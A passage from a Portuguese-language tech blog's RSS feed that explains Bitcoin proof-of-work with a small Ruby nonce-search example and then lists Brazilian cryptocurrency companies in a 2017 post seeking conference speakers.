<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">compute_hash_with_proof_of_work</span><span class="p">(</span> <span class="n">difficulty</span><span class="o">=</span><span class="s2">&#34;00&#34;</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">nonce</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">  <span class="kp">loop</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">    <span class="nb">hash</span> <span class="o">=</span> <span class="n">calc_hash_with_nonce</span><span class="p">(</span> <span class="n">nonce</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">hash</span><span class="o">.</span><span class="n">start_with?</span><span class="p">(</span> <span class="n">difficulty</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="o">[</span><span class="n">nonce</span><span class="p">,</span><span class="nb">hash</span><span class="o">]</span>    <span class="c1">## bingo! proof of work if hash starts with leading zeros (00)</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">      <span class="n">nonce</span> <span class="o">+=</span> <span class="mi">1</span>             <span class="c1">## keep trying (and trying and trying)</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">calc_hash_with_nonce</span><span class="p">(</span> <span class="n">nonce</span><span class="o">=</span><span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">sha</span> <span class="o">=</span> <span class="no">Digest</span><span class="o">::</span><span class="no">SHA256</span><span class="o">.</span><span class="n">new</span>
</span></span><span class="line"><span class="cl">  <span class="n">sha</span><span class="o">.</span><span class="n">update</span><span class="p">(</span> <span class="n">nonce</span><span class="o">.</span><span class="n">to_s</span> <span class="o">+</span> <span class="s2">&#34;123&#34;</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">sha</span><span class="o">.</span><span class="n">hexdigest</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Um SHA256 simples leva entre 0.000010 e 0.000020 segundos (lembre: frações de milissegundo). Quanto tempo leva para encontrar aquele &ldquo;79026&rdquo; (o que chamamos de &ldquo;nonce&rdquo;)?</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>&gt; puts Benchmark.measure { compute_hash_with_proof_of_work(&#34;0000&#34;) }
  0.190000   0.000000   0.190000 (  0.189615)</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Consideravelmente mais: 0.18 segundos em vez de 0.000020. Podemos aumentar a variável de &ldquo;dificuldade&rdquo; para tornar a busca pelo nonce ainda mais trabalhosa. E é exatamente assim que o Bitcoin funciona: cada bloco ajusta a dificuldade de modo que o nó mais rápido leve em torno de 10 minutos para encontrar o hash do próximo bloco.</p>
<p>E isso, meu caro, é o que chamamos de <strong>&ldquo;MINERAÇÃO&rdquo;</strong>. O que um minerador faz é executar um loop, incrementando nonces sobre o digest do bloco, até encontrar o nonce correto.</p>
<p>Encontrado o nonce, o minerador adiciona o bloco ao blockchain e o propaga para os outros nós. Os outros nós fazem a verificação (agora de volta ao procedimento de 0.000020 segundos — rapidíssimo).</p>
<p>Quando os nós verificam e confirmam o nonce, todos adicionam o bloco ao topo do blockchain. Conforme outros mineradores continuam empilhando blocos sobre ele, o bloco vai se tornando &ldquo;solidificado&rdquo;. O bloco mais recente no topo é geralmente instável, mas com mais blocos em cima ele é considerado mais &ldquo;garantido&rdquo; — por isso a maioria das exchanges e serviços que aceitam Bitcoin aguarda as famosas &ldquo;6 confirmações de blocos&rdquo;.</p>
<p>Como a dificuldade é calibrada para que o nó mais rápido leve cerca de &ldquo;10 minutos&rdquo; para encontrar o nonce, um bloco é considerado &ldquo;seguro&rdquo; quando cerca de 1 hora passa e 6 blocos são adicionados depois dele.</p>
<h2>Dá pra quebrar isso?<span class="hx:absolute hx:-mt-20" id="dá-pra-quebrar-isso"></span>
    <a href="#d%c3%a1-pra-quebrar-isso" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora você vai entender por que falamos em &ldquo;hash power&rdquo; quando o assunto é mineração.</p>
<p>Minerar é assinar e confirmar blocos no blockchain. É um serviço de manutenção — por isso você recompensa os mineradores com &ldquo;taxas de transação&rdquo; e alguns &ldquo;satoshis&rdquo; (frações de 1 Bitcoin) pelo trabalho. E por isso também o mecanismo se chama &ldquo;Proof of Work&rdquo;: quando alguém encontra um nonce, sabemos que essa pessoa passou por uma enorme quantidade de computação de hashes para chegar lá.</p>
<p>Daí também falamos em &ldquo;hash rates&rdquo; quando nos referimos às CPUs ou GPUs dos mineradores. Você precisa de uma capacidade absurda para minerar Bitcoins hoje em dia. Ninguém usa um PC caseiro para isso. É preciso hardware especializado, como os famosos <a href="https://www.cryptocompare.com/mining/bitmain/antminer-s9-miner/"target="_blank" rel="noopener">AntMiners</a>. Um AntMiner S9 de USD 1.500 consegue computar em torno de 14 TH/s.</p>
<p>Cada criptomoeda diferente do Bitcoin calcula hashes de forma distinta, então o hashrate varia de moeda para moeda.</p>
<p>O Hash Power total da rede de consenso do Bitcoin estava chegando próximo a 14 EH (exa-hashes, ou seja, milhões de tera-hashes).</p>
<p>Suponha que eu seja bilionário e queira trollar a comunidade Bitcoin adicionando hash power suficiente para superar o hash power total da rede. Precisaria comprar 1 milhão de AntMiner S9, um investimento de aproximadamente USD 1,5 bilhão! E isso sem contar a energia necessária para ligar e manter todas essas máquinas rodando.</p>
<p>Mesmo assim, sabe o que aconteceria? Lembra da variável de dificuldade que mencionei? Ela se ajusta novamente, garantindo que o próximo bloco continue levando 10 minutos para ser computado!</p>
<p>Então não: mesmo disposto a jogar USD 1,5 bilhão fora, você não vai quebrar. E é assim que o Bitcoin lida com os generais bizantinos nessa rede de consenso.</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>ciencia-da-computacao</category><category>algoritmos-e-estruturas-de-dados</category></item><item><title>[Off-Topic] Blockchain e Criptomoedas no Brasil</title><link>https://akitaonrails.github.io/2017/08/28/off-topic-blockchain-e-criptomoedas-no-brasil/</link><guid isPermaLink="true">https://akitaonrails.github.io/2017/08/28/off-topic-blockchain-e-criptomoedas-no-brasil/</guid><pubDate>Mon, 28 Aug 2017 13:07:00 -0300</pubDate><description>&lt;p&gt;Quem me acompanha no &lt;a href="https://twitter.com/AkitaOnRails/status/900450641755156480"target="_blank" rel="noopener"&gt;Twitter&lt;/a&gt; já percebeu que ando MUITO interessado e ativo com cryptocurrencies. Por enquanto estou só como investidor, sem nenhum projeto próprio.&lt;/p&gt;
&lt;p&gt;De curiosidade, perguntei lá se alguém conhecia empresas ou pessoas atuando nessa área aqui no Brasil, e a lista que recebi ficou bem interessante. Vale compartilhar as recomendações com todo mundo.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://auctus.org/"target="_blank" rel="noopener"&gt;Auctus&lt;/a&gt; - ICO de uma alt-coin&lt;/li&gt;
&lt;li&gt;&lt;a href="https://originalmy.com/"target="_blank" rel="noopener"&gt;Original My&lt;/a&gt; - proof-of-authenticity&lt;/li&gt;
&lt;li&gt;&lt;a href="http://web.archive.org/web/20171129024802/https://play.google.com/store/apps/developer?id=Laivon"target="_blank" rel="noopener"&gt;Laivon&lt;/a&gt; - parece que desenvolve apps mobile e alguns deles são trackers de cryptocurrencies&lt;/li&gt;
&lt;li&gt;&lt;a href="https://opendime.com/"target="_blank" rel="noopener"&gt;OpenDime&lt;/a&gt; - mais um hardware stick pra wallet - dizem que tem brasileiros trabalhando lá também&lt;/li&gt;
&lt;li&gt;&lt;a href="http://web.archive.org/web/20170901202750/http://www.hugpay.com.br/"target="_blank" rel="noopener"&gt;HugPay&lt;/a&gt; - uma forma de fazer remessas de/para o exterior sem precisar de conta bancária, com parceria com lotéricas (boa ideia)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://web.archive.org/web/20180302211934/https://www.blockoventures.com/"target="_blank" rel="noopener"&gt;Blocko Ventures&lt;/a&gt; - não entendi bem se são uma empresa de serviços ou investidores em soluções com blockchain&lt;/li&gt;
&lt;li&gt;&lt;del&gt;Kriptacoin - é mais uma alt-coin&lt;/del&gt; (vide comentários)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blinktrade.com/"target="_blank" rel="noopener"&gt;BlinkTrade&lt;/a&gt; - parece uma infra para exchange (acho que a Foxbit e outras talvez usem - não confirmei isso) e foi fundada por brasileiros&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.stone.com.br/"target="_blank" rel="noopener"&gt;Stone Pagamentos&lt;/a&gt; - &lt;a href="https://twitter.com/BernardoDCGA/status/901793619635515398"target="_blank" rel="noopener"&gt;disse&lt;/a&gt; que está ajudando empresas a aceitar pagamentos em cryptocurrencies.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Quero conhecer mais empresas e profissionais brasileiros no ecossistema de bitcoin e cryptocurrencies em geral. Estou procurando em especial palestrantes que dominem o assunto e estejam fazendo coding hands-on, para palestrar (em inglês) na conferência que estou organizando, a &lt;a href="http://web.archive.org/web/20170911201232/http://www.theconf.club/"target="_blank" rel="noopener"&gt;THE CONF&lt;/a&gt;. Se souberem de alguém, mandem na seção de comentários.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Quem me acompanha no <a href="https://twitter.com/AkitaOnRails/status/900450641755156480"target="_blank" rel="noopener">Twitter</a> já percebeu que ando MUITO interessado e ativo com cryptocurrencies. Por enquanto estou só como investidor, sem nenhum projeto próprio.</p>
<p>De curiosidade, perguntei lá se alguém conhecia empresas ou pessoas atuando nessa área aqui no Brasil, e a lista que recebi ficou bem interessante. Vale compartilhar as recomendações com todo mundo.</p>
<ul>
<li><a href="http://auctus.org/"target="_blank" rel="noopener">Auctus</a> - ICO de uma alt-coin</li>
<li><a href="https://originalmy.com/"target="_blank" rel="noopener">Original My</a> - proof-of-authenticity</li>
<li><a href="http://web.archive.org/web/20171129024802/https://play.google.com/store/apps/developer?id=Laivon"target="_blank" rel="noopener">Laivon</a> - parece que desenvolve apps mobile e alguns deles são trackers de cryptocurrencies</li>
<li><a href="https://opendime.com/"target="_blank" rel="noopener">OpenDime</a> - mais um hardware stick pra wallet - dizem que tem brasileiros trabalhando lá também</li>
<li><a href="http://web.archive.org/web/20170901202750/http://www.hugpay.com.br/"target="_blank" rel="noopener">HugPay</a> - uma forma de fazer remessas de/para o exterior sem precisar de conta bancária, com parceria com lotéricas (boa ideia)</li>
<li><a href="http://web.archive.org/web/20180302211934/https://www.blockoventures.com/"target="_blank" rel="noopener">Blocko Ventures</a> - não entendi bem se são uma empresa de serviços ou investidores em soluções com blockchain</li>
<li><del>Kriptacoin - é mais uma alt-coin</del> (vide comentários)</li>
<li><a href="https://blinktrade.com/"target="_blank" rel="noopener">BlinkTrade</a> - parece uma infra para exchange (acho que a Foxbit e outras talvez usem - não confirmei isso) e foi fundada por brasileiros</li>
<li><a href="http://www.stone.com.br/"target="_blank" rel="noopener">Stone Pagamentos</a> - <a href="https://twitter.com/BernardoDCGA/status/901793619635515398"target="_blank" rel="noopener">disse</a> que está ajudando empresas a aceitar pagamentos em cryptocurrencies.</li>
</ul>
<p>Quero conhecer mais empresas e profissionais brasileiros no ecossistema de bitcoin e cryptocurrencies em geral. Estou procurando em especial palestrantes que dominem o assunto e estejam fazendo coding hands-on, para palestrar (em inglês) na conferência que estou organizando, a <a href="http://web.archive.org/web/20170911201232/http://www.theconf.club/"target="_blank" rel="noopener">THE CONF</a>. Se souberem de alguém, mandem na seção de comentários.</p>
<p>Cheguei a pensar em escrever sobre blockchain ou cryptocurrencies, já que andei estudando e investindo bastante. Mas tudo que você precisa saber já está acessível em inúmeros blogs e sites, em inglês e em português, e não faz sentido explicar tudo de novo.</p>
<p>O que me interessa é saber onde estão as maiores dúvidas das pessoas sobre o assunto, para tentar explorar algum aspecto específico. Comentem sobre isso também.</p>
]]></content:encoded><category>bitcoin-e-criptomoedas</category><category>negocios</category><category>off-topic</category></item></channel></rss>